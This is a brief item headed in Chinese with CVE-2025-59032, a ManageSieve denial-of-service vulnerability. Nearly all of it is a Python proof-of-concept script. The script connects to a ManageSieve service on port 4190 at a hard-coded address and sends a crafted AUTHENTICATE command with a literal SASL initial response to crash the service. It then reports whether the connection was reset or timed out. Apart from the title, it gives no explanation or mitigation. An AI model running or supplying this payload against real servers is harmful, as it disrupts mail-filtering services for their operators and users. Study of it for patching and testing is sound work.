CVE-2025-59032: ManageSieve服务拒绝服务漏洞

import socket # Target configuration target_host = "192.168.1.10" target_port = 4190 # Default ManageSieve port # Craft the malicious payload # Using a literal as SASL initial response for AUTHENTICATE # This specific format triggers the parsing vulnerability payload = b'AUTHENTICATE "PLAIN" {10+}\r\nAAAAAAAAAA\r\n' try: # Establish TCP connection to ManageSieve service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Receive server banner banner = s.recv(1024) print(f"[+] Banner: {banner.decode().strip()}") # Send the malicious payload print("[*] Sending malicious payload...") s.send(payload) # Attempt to receive response (Service might crash here) response = s.recv(1024) print(f"[+] Response: {response.decode().strip()}") except ConnectionResetError: print("[-] Connection reset by peer - Service likely crashed.") except socket.timeout: print("[-] Connection timed out - Service may be unresponsive.") except Exception as e: print(f"[-] Error: {e}") finally: s.close()